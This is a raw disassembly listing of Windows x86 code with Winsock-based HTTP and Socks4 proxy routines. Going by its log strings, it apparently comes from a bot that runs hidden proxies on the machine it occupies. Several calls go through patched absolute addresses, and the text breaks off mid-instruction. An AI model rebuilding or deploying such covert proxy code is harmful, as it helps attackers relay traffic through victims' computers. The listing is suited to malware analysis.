0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h dd 75000027h, 90016A0Dh, 407114E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh nop call near ptr 28302E5h loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi nop call near ptr 71AB9639h loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429F71 push 0Ah nop call near ptr 28302E5h jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429FC3 push 0Ah call near ptr 28302E5h nop jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx call near ptr 71AB428Ah nop jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 28302E5h jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax nop call near ptr 71AB9639h loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 call near ptr 71AB2DC0h nop test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi nop call near ptr 71AB3E00h test eax, eax jnz short loc_42A782 loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea 